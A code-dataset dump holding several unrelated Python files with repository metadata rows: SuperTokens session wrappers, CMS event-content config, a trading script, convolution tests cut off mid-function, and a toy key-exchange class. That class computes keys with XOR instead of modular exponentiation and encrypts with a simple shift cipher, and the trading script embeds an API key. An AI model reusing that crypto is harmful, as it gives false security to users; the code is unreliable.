# plt.show() | 34.90099 | 296 | 0.616454 | 604 | 3,525 | 3.521523 | 0.347682 | 0.042313 | 0.029619 | 0.03385 | 0.245416 | 0.201693 | 0.179126 | 0.171603 | 0.088858 | 0.088858 | 0 | 0.249913 | 0.182695 | 3,525 | 101 | 297 | 34.90099 | 0.488372 | 0.450496 | 0 | 0 | 0 | 0 | 0.089267 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027778 | false | 0 | 0.111111 | 0 | 0.166667 | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40ae26d9296d39f88716bb6def1ea8272856e139 | 5,845 | py | Python | supertokens_python/recipe/session/syncio/__init__.py | SKOOTUK/supertokens-python | c0751dd5af911835199223efbe5a91e7c1f1f954 | [
"Apache-2.0"
] | null | null | null | supertokens_python/recipe/session/syncio/__init__.py | SKOOTUK/supertokens-python | c0751dd5af911835199223efbe5a91e7c1f1f954 | [
"Apache-2.0"
] | 3 | 2022-02-21T18:42:06.000Z | 2022-03-04T11:54:15.000Z | supertokens_python/recipe/session/syncio/__init__.py | SKOOTUK/supertokens-python | c0751dd5af911835199223efbe5a91e7c1f1f954 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021, VRAI Labs and/or its affiliates. All rights reserved.
#
# This software is licensed under the Apache License, Version 2.0 (the
# "License") as published by the Apache Software Foundation.
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from typing import Any, Dict, List, Union
from supertokens_python.async_to_sync_wrapper import sync
from supertokens_python.recipe.openid.interfaces import \
GetOpenIdDiscoveryConfigurationResult
from ...jwt.interfaces import CreateJwtResult, GetJWKSResult
from ..interfaces import SessionContainer, SessionInformationResult
def create_new_session(request: Any, user_id: str, access_token_payload: Union[Dict[str, Any], None] = None, session_data: Union[Dict[str, Any], None] = None, user_context: Union[None, Dict[str, Any]] = None) -> SessionContainer:
from supertokens_python.recipe.session.asyncio import \
create_new_session as async_create_new_session
return sync(async_create_new_session(
request, user_id, access_token_payload, session_data, user_context))
def get_session(request: Any, anti_csrf_check: Union[bool, None] = None, session_required: bool = True, user_context: Union[None, Dict[str, Any]] = None) -> Union[SessionContainer, None]:
from supertokens_python.recipe.session.asyncio import \
get_session as async_get_session
return sync(async_get_session(request, anti_csrf_check,
session_required, user_context))
def refresh_session(request: Any, user_context: Union[None, Dict[str, Any]] = None) -> SessionContainer:
from supertokens_python.recipe.session.asyncio import \
refresh_session as async_refresh_session
return sync(async_refresh_session(request, user_context))
def revoke_session(session_handle: str, user_context: Union[None, Dict[str, Any]] = None) -> bool:
from supertokens_python.recipe.session.asyncio import \
revoke_session as async_revoke_session
return sync(async_revoke_session(session_handle, user_context))
def revoke_all_sessions_for_user(user_id: str, user_context: Union[None, Dict[str, Any]] = None) -> List[str]:
from supertokens_python.recipe.session.asyncio import \
revoke_all_sessions_for_user as async_revoke_all_sessions_for_user
return sync(async_revoke_all_sessions_for_user(user_id, user_context))
def get_all_session_handles_for_user(user_id: str, user_context: Union[None, Dict[str, Any]] = None) -> List[str]:
from supertokens_python.recipe.session.asyncio import \
get_all_session_handles_for_user as \
async_get_all_session_handles_for_user
return sync(async_get_all_session_handles_for_user(user_id, user_context))
def revoke_multiple_sessions(session_handles: List[str], user_context: Union[None, Dict[str, Any]] = None) -> List[str]:
from supertokens_python.recipe.session.asyncio import \
revoke_multiple_sessions as async_revoke_multiple_sessions
return sync(async_revoke_multiple_sessions(session_handles, user_context))
def get_session_information(session_handle: str, user_context: Union[None, Dict[str, Any]] = None) -> SessionInformationResult:
from supertokens_python.recipe.session.asyncio import \
get_session_information as async_get_session_information
return sync(async_get_session_information(session_handle, user_context))
def update_session_data(session_handle: str, new_session_data: Dict[str, Any], user_context: Union[None, Dict[str, Any]] = None) -> None:
from supertokens_python.recipe.session.asyncio import \
update_session_data as async_update_session_data
return sync(async_update_session_data(
session_handle, new_session_data, user_context))
def update_access_token_payload(session_handle: str, new_access_token_payload: Dict[str, Any], user_context: Union[None, Dict[str, Any]] = None) -> None:
from supertokens_python.recipe.session.asyncio import \
update_access_token_payload as async_update_access_token_payload
return sync(async_update_access_token_payload(
session_handle, new_access_token_payload, user_context))
def create_jwt(payload: Dict[str, Any], validity_seconds: Union[None, int] = None, user_context: Union[None, Dict[str, Any]] = None) -> CreateJwtResult:
from supertokens_python.recipe.session.asyncio import \
create_jwt as async_create_jwt
return sync(async_create_jwt(payload, validity_seconds, user_context))
def get_jwks(user_context: Union[None, Dict[str, Any]] = None) -> GetJWKSResult:
from supertokens_python.recipe.session.asyncio import \
get_jwks as async_get_jwks
return sync(async_get_jwks(user_context))
def get_open_id_discovery_configuration(user_context: Union[None, Dict[str, Any]] = None) -> GetOpenIdDiscoveryConfigurationResult:
from supertokens_python.recipe.session.asyncio import \
get_open_id_discovery_configuration as \
async_get_open_id_discovery_configuration
return sync(async_get_open_id_discovery_configuration(user_context))
def regenerate_access_token(access_token: str, new_access_token_payload: Union[Dict[str, Any], None] = None, user_context: Union[None, Dict[str, Any]] = None):
from supertokens_python.recipe.session.asyncio import \
regenerate_access_token as async_regenerate_access_token
return sync(async_regenerate_access_token(
access_token, new_access_token_payload, user_context))
| 51.27193 | 229 | 0.78272 | 803 | 5,845 | 5.389788 | 0.160648 | 0.071165 | 0.046211 | 0.054991 | 0.573013 | 0.449168 | 0.394409 | 0.351664 | 0.25439 | 0.204945 | 0 | 0.001587 | 0.137553 | 5,845 | 113 | 230 | 51.725664 | 0.856973 | 0.112062 | 0 | 0.202899 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.202899 | false | 0 | 0.275362 | 0 | 0.681159 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
40afa7d9bfe96b52a30cc2644f2ba9fde48ed84a | 556 | py | Python | tests/data/example_2.py | kataev/flake8-rst | 53ee9906661b001a6aecc06ce09cf093ce6e82df | [
"MIT"
] | 18 | 2018-08-27T11:39:14.000Z | 2021-12-10T08:48:29.000Z | tests/data/example_2.py | kataev/flake8-rst | 53ee9906661b001a6aecc06ce09cf093ce6e82df | [
"MIT"
] | 18 | 2018-10-26T12:32:16.000Z | 2021-11-17T06:01:34.000Z | tests/data/example_2.py | kataev/flake8-rst | 53ee9906661b001a6aecc06ce09cf093ce6e82df | [
"MIT"
] | 7 | 2018-10-19T10:28:05.000Z | 2021-04-09T15:44:16.000Z | class Test:
"""
Lorem ipsum dolor sit amet, consectetur adipiscing elit,
deserunt mollit anim id est laborum.
.. sourcecode:: pycon
>>> # extract 100 LDA topics, using default parameters
>>> lda = LdaModel(corpus=mm, id2word=id2word, num_topics=100, distributed=True)
using distributed version with 4 workers
running online LDA training, 100 topics, 1 passes over the supplied corpus of 3199665 documets,
updating model once every 40000 documents
..
Some another text
"""
some_field = 1
| 27.8 | 99 | 0.679856 | 69 | 556 | 5.449275 | 0.826087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0.251799 | 556 | 19 | 100 | 29.263158 | 0.841346 | 0.839928 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
40b10e4dc364eb531205474a641f94da599e263a | 1,373 | py | Python | src/Node.py | LiamDuncan/DH-V_Cryptosystem | cb661f1aec92de420d3fc555dd38d2dd2034bc3a | [
"MIT"
] | null | null | null | src/Node.py | LiamDuncan/DH-V_Cryptosystem | cb661f1aec92de420d3fc555dd38d2dd2034bc3a | [
"MIT"
] | null | null | null | src/Node.py | LiamDuncan/DH-V_Cryptosystem | cb661f1aec92de420d3fc555dd38d2dd2034bc3a | [
"MIT"
] | null | null | null | import random
import nodeIO
class Node:
def __init__( self, g, p):
self.g = g
self.p = p
self.privateKey = random.randrange(100)
self.publicKey = (g^self.privateKey)%p
def getEncryptedMessage( self):
#message = input( "Type a message... \nSender: ")
message = input( "Type a message... \n")
em = self.encrypt( message)
return em
def setEncryptedMessage( self, em):
message = self.decrypt(em)
#print("Receiver: " + message)
nodeIO.window( message)
def getPublic( self):
return self.publicKey
def setPartner( self, pk):
self.key = (pk^self.privateKey)%self.p
def encrypt( self, message):
encryptedMessage = ""
for character in message:
encryptedChar = chr(self.vigenere(ord(character)))
encryptedMessage += encryptedChar
return encryptedMessage
def decrypt( self, encryptedMessage):
message = ""
for character in encryptedMessage:
char = chr(self.unvigenere(ord(character)))
message += char
return message
def vigenere( self, charNumber):
return (charNumber + self.key)%127
def unvigenere( self, charNumber):
return (charNumber - self.key)%127
| 28.020408 | 63 | 0.567371 | 136 | 1,373 | 5.698529 | 0.330882 | 0.054194 | 0.04129 | 0.043871 | 0.165161 | 0.103226 | 0.103226 | 0 | 0 | 0 | 0 | 0.009825 | 0.332848 | 1,373 | 48 | 64 | 28.604167 | 0.836245 | 0.056082 | 0 | 0 | 0 | 0 | 0.016051 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.257143 | false | 0 | 0.057143 | 0.085714 | 0.514286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
40b41d38c7767deb1cf702eb7c84fc4cd1f71a00 | 5,051 | py | Python | RecoParticleFlow/Configuration/python/RecoParticleFlow_EventContent_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 4 | 2020-06-27T23:27:21.000Z | 2020-11-19T09:17:01.000Z | RecoParticleFlow/Configuration/python/RecoParticleFlow_EventContent_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 524 | 2018-01-29T15:50:45.000Z | 2021-08-04T14:03:21.000Z | RecoParticleFlow/Configuration/python/RecoParticleFlow_EventContent_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 7 | 2018-02-19T11:17:13.000Z | 2020-10-12T21:57:00.000Z | import FWCore.ParameterSet.Config as cms
# AOD content
RecoParticleFlowAOD = cms.PSet(
outputCommands = cms.untracked.vstring(
'keep recoPFRecHits_particleFlowClusterECAL_Cleaned_*',
'keep recoPFRecHits_particleFlowClusterHCAL_Cleaned_*',
'keep recoPFRecHits_particleFlowClusterHO_Cleaned_*',
'keep recoPFRecHits_particleFlowClusterHF_Cleaned_*',
'keep recoPFRecHits_particleFlowClusterPS_Cleaned_*',
'keep recoPFRecHits_particleFlowRecHitECAL_Cleaned_*',
'keep recoPFRecHits_particleFlowRecHitHBHE_Cleaned_*',
'keep recoPFRecHits_particleFlowRecHitHF_Cleaned_*',
'keep recoPFRecHits_particleFlowRecHitHO_Cleaned_*',
'keep recoPFRecHits_particleFlowRecHitPS_Cleaned_*',
'keep recoCaloClusters_particleFlowEGamma_*_*',
'keep recoSuperClusters_particleFlowEGamma_*_*',
'keep recoCaloClusters_particleFlowSuperClusterECAL_*_*',
'keep recoSuperClusters_particleFlowSuperClusterECAL_*_*',
'keep recoConversions_particleFlowEGamma_*_*',
'keep recoPFCandidates_particleFlow_*_*',
'keep recoPFCandidates_particleFlowTmp_AddedMuonsAndHadrons_*',
'keep recoPFCandidates_particleFlowTmp_CleanedCosmicsMuons_*',
'keep recoPFCandidates_particleFlowTmp_CleanedFakeMuons_*',
'keep recoPFCandidates_particleFlowTmp_CleanedHF_*',
'keep recoPFCandidates_particleFlowTmp_CleanedPunchThroughMuons_*',
'keep recoPFCandidates_particleFlowTmp_CleanedPunchThroughNeutralHadrons_*',
'keep recoPFCandidates_particleFlowTmp_CleanedTrackerAndGlobalMuons_*',
'keep *_particleFlow_electrons_*',
'keep *_particleFlow_photons_*',
'keep *_particleFlow_muons_*',
'keep recoCaloClusters_pfElectronTranslator_*_*',
'keep recoPreshowerClusters_pfElectronTranslator_*_*',
'keep recoSuperClusters_pfElectronTranslator_*_*',
'keep recoCaloClusters_pfPhotonTranslator_*_*',
'keep recoPreshowerClusters_pfPhotonTranslator_*_*',
'keep recoSuperClusters_pfPhotonTranslator_*_*',
'keep recoPhotons_pfPhotonTranslator_*_*',
'keep recoPhotonCores_pfPhotonTranslator_*_*',
'keep recoConversions_pfPhotonTranslator_*_*',
'keep *_particleFlowPtrs_*_*',
'keep *_particleFlowTmpPtrs_*_*',
'keep *_chargedHadronPFTrackIsolation_*_*')
)
# mods for HGCAL and timing
# Some SC content also defined in RecoEcal/Configuration/python/RecoEcal_EventContent_cff.py
from Configuration.Eras.Modifier_phase2_hgcal_cff import phase2_hgcal
from Configuration.Eras.Modifier_phase2_timing_cff import phase2_timing
phase2_hgcal.toModify( RecoParticleFlowAOD,
outputCommands = RecoParticleFlowAOD.outputCommands + ['keep recoPFRecHits_particleFlowRecHitHGC_Cleaned_*',
'keep recoPFClusters_particleFlowClusterHGCal__*',
'keep recoPFClusters_particleFlowClusterHGCalFromMultiCl__*',
'keep recoSuperClusters_simPFProducer_*_*'])
phase2_timing.toModify( RecoParticleFlowAOD,
outputCommands = RecoParticleFlowAOD.outputCommands + ['keep *_ecalBarrelClusterFastTimer_*_*'])
# RECO content
RecoParticleFlowRECO = cms.PSet(
outputCommands = cms.untracked.vstring(
'keep recoPFClusters_particleFlowClusterECAL_*_*',
'keep recoPFClusters_particleFlowClusterHCAL_*_*',
'keep recoPFClusters_particleFlowClusterHO_*_*',
'keep recoPFClusters_particleFlowClusterHF_*_*',
'keep recoPFClusters_particleFlowClusterPS_*_*',
'keep recoPFBlocks_particleFlowBlock_*_*',
'keep recoPFCandidates_particleFlowEGamma_*_*',
'keep recoPFCandidates_particleFlowTmp_electrons_*',
'keep recoPFDisplacedVertexs_particleFlowDisplacedVertex_*_*',
'keep *_pfElectronTranslator_*_*',
'keep *_pfPhotonTranslator_*_*',
'keep *_trackerDrivenElectronSeeds_preid_*')
)
RecoParticleFlowRECO.outputCommands.extend(RecoParticleFlowAOD.outputCommands)
phase2_hgcal.toModify( RecoParticleFlowRECO,
outputCommands = RecoParticleFlowRECO.outputCommands + ['keep *_particleFlowSuperClusterHGCalFromMultiCl_*_*',
'keep recoPFBlocks_simPFProducer_*_*'])
# Full Event content
RecoParticleFlowFEVT = cms.PSet(
outputCommands = cms.untracked.vstring()
)
RecoParticleFlowFEVT.outputCommands.extend(RecoParticleFlowRECO.outputCommands)
phase2_hgcal.toModify( RecoParticleFlowFEVT,
outputCommands = RecoParticleFlowFEVT.outputCommands + ['keep recoPFRecHits_particleFlowClusterECAL__*',
'keep recoPFRecHits_particleFlowRecHitHGC__*',
'keep *_simPFProducer_*_*'])
from Configuration.ProcessModifiers.mlpf_cff import mlpf
from RecoParticleFlow.PFProducer.mlpf_EventContent_cff import MLPF_RECO
mlpf.toModify(RecoParticleFlowRECO,
outputCommands = RecoParticleFlowRECO.outputCommands + MLPF_RECO.outputCommands)
| 52.614583 | 120 | 0.749555 | 326 | 5,051 | 11.003067 | 0.294479 | 0.061611 | 0.060217 | 0.020072 | 0.141065 | 0.079175 | 0.024533 | 0 | 0 | 0 | 0 | 0.001921 | 0.175411 | 5,051 | 95 | 121 | 53.168421 | 0.859304 | 0.031677 | 0 | 0.02439 | 0 | 0 | 0.563562 | 0.49826 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.060976 | 0 | 0.060976 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40b701f7a453c3fce622b02325be5d22ae420923 | 763 | py | Python | algo.py | shayanng/Trading_Algorithm_Strategy | 247a28817a85f341ad341e6ee2a9d4b065c746e8 | [
"MIT"
] | null | null | null | algo.py | shayanng/Trading_Algorithm_Strategy | 247a28817a85f341ad341e6ee2a9d4b065c746e8 | [
"MIT"
] | null | null | null | algo.py | shayanng/Trading_Algorithm_Strategy | 247a28817a85f341ad341e6ee2a9d4b065c746e8 | [
"MIT"
] | null | null | null | import pandas as pd
from alpha_vantage.timeseries import TimeSeries
from utils import data_call as dc
from utils import tech_indicators as ti
from utils import preprocessing
from utils import trading
TICKERS = ["IBM", "AAPL", "TSLA", "NVDA"]
AV_KEY = "3R9JOE98DJOXYHKJ" # alpha-vantage demo api
ts = TimeSeries(key=AV_KEY, output_format="pandas") # initialise timeseries av
# Yahoo API
# generated_data_daily = dc.generate_data(TICKERS, interval="d", n_per=90)
# AlphaVantage API
# generated_data = dc.generate_data_intraday(tickers=TICKERS, interval="5min", outputsize="full",
# ts=ts) # dictionary of collected data
# for k in generated_data.keys():
# generated_data[k].to_csv(f"./data/data_{k}.csv") # save as csv
| 30.52 | 97 | 0.72346 | 108 | 763 | 4.953704 | 0.518519 | 0.06729 | 0.11215 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011076 | 0.171691 | 763 | 24 | 98 | 31.791667 | 0.835443 | 0.538663 | 0 | 0 | 0 | 0 | 0.110119 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
40c5371752d46922fda61fe4b20a96100ef00f47 | 19,133 | py | Python | tests.py | detkov/Convolution-from-scratch | 9fb976f72d80a8512b3fd1e35d61bf0ea8869113 | [
"MIT"
] | 10 | 2021-07-17T07:25:43.000Z | 2022-03-08T12:18:57.000Z | tests.py | detkov/Convolution-from-scratch | 9fb976f72d80a8512b3fd1e35d61bf0ea8869113 | [
"MIT"
] | null | null | null | tests.py | detkov/Convolution-from-scratch | 9fb976f72d80a8512b3fd1e35d61bf0ea8869113 | [
"MIT"
] | 1 | 2021-11-26T09:38:06.000Z | 2021-11-26T09:38:06.000Z | import numpy as np
import unittest
from convolution import conv2d, add_padding
class TestConvolution(unittest.TestCase):
def test_paddings_shape(self, N: int = 1000):
for _ in range(N):
m_h = np.random.randint(3, 100)
m_w = np.random.randint(3, 100)
random_matrix = np.random.rand(m_h, m_w)
rows, cols = np.random.randint(0, 100, 2)
random_matrix_with_padding = add_padding(random_matrix, (rows, cols))
self.assertEqual(random_matrix_with_padding.shape, (m_h + rows*2, m_w + cols*2))
def test_random_case(self, N: int = 1000):
for _ in range(N):
d = np.random.randint(1, 100, 2)
k = np.random.choice([1, 3, 5, 7, 9, 10], 2) # `10` is to check oddness assertion
random_matrix = np.random.rand(*d)
random_kernel = np.random.rand(*k)
for __ in range(N):
stride = np.random.randint(0, 5, 2) # `0` is to check parameters assertion
dilation = np.random.randint(0, 5, 2) # `0` is to check parameters assertion
padding = np.random.randint(-1, 5, 2) # `-1` is to check parameters assertion
try: # `try` in case of division by zero when stride[0] or stride[1] equal to zero
h_out = np.floor((d[0] + 2 * padding[0] - k[0] - (k[0] - 1) * (dilation[0] - 1)) / stride[0]).astype(int) + 1
w_out = np.floor((d[1] + 2 * padding[1] - k[1] - (k[1] - 1) * (dilation[1] - 1)) / stride[1]).astype(int) + 1
except:
h_out, w_out = None, None
# print(f'Matr: {d} | Kern: {k} | Stri: {stride} | Dila: {dilation} | Padd: {padding} | OutD: {h_out, w_out}') # for debugging
if (stride[0] < 1 or stride[1] < 1 or dilation[0] < 1 or dilation[1] < 1 or padding[0] < 0 or padding[1] < 0 or
not isinstance(stride[0], int) or not isinstance(stride[1], int) or not isinstance(dilation[0], int) or
not isinstance(dilation[1], int) or not isinstance(padding[0], int) or not isinstance(padding[1], int)):
with self.assertRaises(AssertionError):
matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding)
elif k[0] % 2 != 1 or k[1] % 2 != 1:
with self.assertRaises(AssertionError):
matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding)
elif d[0] < k[0] or d[1] < k[1]:
with self.assertRaises(AssertionError):
matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding)
elif h_out <= 0 or w_out <= 0:
with self.assertRaises(AssertionError):
matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding)
else:
matrix_conved = conv2d(random_matrix, random_kernel, stride=stride, dilation=dilation, padding=padding)
self.assertEqual(matrix_conved.shape, (h_out, w_out))
def test_kernel_3x3_easy(self):
matrix = np.array([[0, 4, 3, 2, 0, 1, 0],
[4, 3, 0, 1, 0, 1, 0],
[1, 3, 4, 2, 0, 1, 0],
[3, 4, 2, 2, 0, 1, 0],
[0, 0, 0, 0, 0, 1, 0]])
kernel = np.array([[1, 1, 3],
[0, 2, 3],
[3, 3, 3]])
# stride = 1, dilation = 1, padding = 0
result_110 = conv2d(matrix, kernel)
answer_110 = np.array([[43, 43, 25, 17, 6],
[52, 44, 17, 16, 6],
[30, 23, 10, 11, 6]])
# stride = 1, dilation = 1, padding = 1
result_111 = conv2d(matrix, kernel, padding=(1, 1))
answer_111 = np.array([[33, 38, 24, 7, 9, 5, 3],
[41, 43, 43, 25, 17, 6, 4],
[45, 52, 44, 17, 16, 6, 4],
[28, 30, 23, 10, 11, 6, 4],
[15, 13, 12, 4, 8, 3, 1]])
# stride = 1, dilation = 2, padding = 0
result_120 = conv2d(matrix, kernel, dilation=(2, 2))
answer_120 = np.array([[11, 19, 3]])
# stride = 1, dilation = 2, padding = 1
result_121 = conv2d(matrix, kernel, dilation=(2, 2), padding=(1, 1))
answer_121 = np.array([[27, 15, 26, 6, 11],
[22, 11, 19, 3, 8],
[20, 8, 14, 0, 4]])
# stride = 2, dilation = 1, padding = 0
result_210 = conv2d(matrix, kernel, stride=(2, 2))
answer_210 = np.array([[43, 25, 6],
[30, 10, 6]])
# stride = 2, dilation = 1, padding = 1
result_211 = conv2d(matrix, kernel, stride=(2, 2), padding=(1, 1))
answer_211 = np.array([[33, 24, 9, 3],
[45, 44, 16, 4],
[15, 12, 8, 1]])
# stride = 2, dilation = 2, padding = 0
result_220 = conv2d(matrix, kernel, stride=(2, 2), dilation=(2, 2))
answer_220 = np.array([[11, 3]])
# stride = 2, dilation = 2, padding = 1
result_221 = conv2d(matrix, kernel, stride=(2, 2), dilation=(2, 2), padding=(1, 1))
answer_221 = np.array([[27, 26, 11],
[20, 14, 4]])
self.assertEqual(result_110.tolist(), answer_110.tolist())
self.assertEqual(result_111.tolist(), answer_111.tolist())
self.assertEqual(result_120.tolist(), answer_120.tolist())
self.assertEqual(result_121.tolist(), answer_121.tolist())
self.assertEqual(result_210.tolist(), answer_210.tolist())
self.assertEqual(result_211.tolist(), answer_211.tolist())
self.assertEqual(result_220.tolist(), answer_220.tolist())
self.assertEqual(result_221.tolist(), answer_221.tolist())
def test_kernel_5x5_difficult(self):
matrix = np.array([[1, 4, 4, 2, 1, 0, 0, 1, 0, 0, 3, 3, 3, 4],
[0, 2, 0, 2, 0, 3, 4, 4, 2, 1, 1, 3, 0, 4],
[1, 1, 0, 0, 3, 4, 2, 4, 4, 2, 3, 0, 0, 4],
[4, 0, 1, 2, 0, 2, 0, 3, 3, 3, 0, 4, 1, 0],
[3, 0, 0, 3, 3, 3, 2, 0, 2, 1, 1, 0, 4, 2],
[2, 4, 3, 1, 1, 0, 2, 1, 3, 4, 4, 0, 2, 3],
[2, 4, 3, 3, 2, 1, 4, 0, 3, 4, 1, 2, 0, 0],
[2, 1, 0, 1, 1, 2, 2, 3, 0, 0, 1, 2, 4, 2],
[3, 3, 1, 1, 1, 1, 4, 4, 2, 3, 2, 2, 2, 3]])
kernel = np.array([[2, 0, 2, 2, 2],
[2, 3, 1, 1, 3],
[3, 1, 1, 3, 1],
[2, 2, 3, 1, 1],
[0, 0, 1, 0, 0]])
# default params
result_11_11_00 = conv2d(matrix, kernel)
answer_11_11_00 = np.array([[44., 58., 59., 62., 70., 80., 75., 92., 64., 72.],
[52., 52., 59., 87., 92., 83., 77., 74., 71., 67.],
[66., 63., 60., 64., 76., 79., 75., 82., 77., 64.],
[75., 69., 64., 64., 69., 75., 70., 71., 75., 74.],
[74., 71., 63., 66., 61., 75., 79., 47., 73., 76.]])
# only stride: (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (4, 6)
result_12_11_00 = conv2d(matrix, kernel, stride=(1, 2))
answer_12_11_00 = np.array([[44., 59., 70., 75., 64.],
[52., 59., 92., 77., 71.],
[66., 60., 76., 75., 77.],
[75., 64., 69., 70., 75.],
[74., 63., 61., 79., 73.]])
result_13_11_00 = conv2d(matrix, kernel, stride=(1, 3))
answer_13_11_00 = np.array([[44., 62., 75., 72.],
[52., 87., 77., 67.],
[66., 64., 75., 64.],
[75., 64., 70., 74.],
[74., 66., 79., 76.]])
result_21_11_00 = conv2d(matrix, kernel, stride=(2, 1))
answer_21_11_00 = np.array([[44., 58., 59., 62., 70., 80., 75., 92., 64., 72.],
[66., 63., 60., 64., 76., 79., 75., 82., 77., 64.],
[74., 71., 63., 66., 61., 75., 79., 47., 73., 76.]])
result_22_11_00 = conv2d(matrix, kernel, stride=(2, 2))
answer_22_11_00 = np.array([[44., 59., 70., 75., 64],
[66., 60., 76., 75., 77],
[74., 63., 61., 79., 73]])
result_23_11_00 = conv2d(matrix, kernel, stride=(2, 3))
answer_23_11_00 = np.array([[44., 62., 75., 72.],
[66., 64., 75., 64.],
[74., 66., 79., 76.]])
result_31_11_00 = conv2d(matrix, kernel, stride=(3, 1))
answer_31_11_00 = np.array([[44., 58., 59., 62., 70., 80., 75., 92., 64., 72.],
[75., 69., 64., 64., 69., 75., 70., 71., 75., 74.]])
result_32_11_00 = conv2d(matrix, kernel, stride=(3, 2))
answer_32_11_00 = np.array([[44., 59., 70., 75., 64.],
[75., 64., 69., 70., 75.]])
result_46_11_00 = conv2d(matrix, kernel, stride=(4, 6))
answer_46_11_00 = np.array([[44., 75.],
[74., 79.]])
# only dilation: (1, 2), (1, 3), (2, 1), (2, 2), (2, 3)
result_11_12_00 = conv2d(matrix, kernel, dilation=(1, 2))
answer_11_12_00 = np.array([[46., 70., 50., 77., 65., 94.],
[67., 68., 67., 76., 53., 95.],
[80., 65., 60., 64., 70., 73.],
[74., 74., 77., 73., 79., 55.],
[81., 66., 74., 60., 70., 58.]])
result_11_13_00 = conv2d(matrix, kernel, dilation=(1, 3))
answer_11_13_00 = np.array([[48., 77.],
[65., 65.],
[73., 55.],
[97., 67.],
[84., 68.]])
result_11_21_00 = conv2d(matrix, kernel, dilation=(2, 1))
answer_11_21_00 = np.array([[78., 73., 64., 72., 81., 69., 73., 69., 68., 81.]])
result_11_22_00 = conv2d(matrix, kernel, dilation=(2, 2))
answer_11_22_00 = np.array([[67., 55., 80., 63., 77., 79.]])
result_11_23_00 = conv2d(matrix, kernel, dilation=(2, 3))
answer_11_23_00 = np.array([[65., 79.]])
# only paddings: (0, 1), (1, 0), (1, 1)
result_11_11_01 = conv2d(matrix, kernel, padding=(0, 1))
answer_11_11_01 = np.array([[41., 44., 58., 59., 62., 70., 80., 75., 92., 64., 72., 71.],
[34., 52., 52., 59., 87., 92., 83., 77., 74., 71., 67., 43.],
[51., 66., 63., 60., 64., 76., 79., 75., 82., 77., 64., 57.],
[63., 75., 69., 64., 64., 69., 75., 70., 71., 75., 74., 43.],
[51., 74., 71., 63., 66., 61., 75., 79., 47., 73., 76., 54.]])
result_11_11_10 = conv2d(matrix, kernel, padding=(1, 0))
answer_11_11_10 = np.array([[39., 45., 45., 61., 52., 58., 66., 63., 53., 56.],
[44., 58., 59., 62., 70., 80., 75., 92., 64., 72.],
[52., 52., 59., 87., 92., 83., 77., 74., 71., 67.],
[66., 63., 60., 64., 76., 79., 75., 82., 77., 64.],
[75., 69., 64., 64., 69., 75., 70., 71., 75., 74.],
[74., 71., 63., 66., 61., 75., 79., 47., 73., 76.],
[70., 59., 64., 55., 72., 83., 81., 77., 70., 69.]])
result_11_11_11 = conv2d(matrix, kernel, padding=(1, 1))
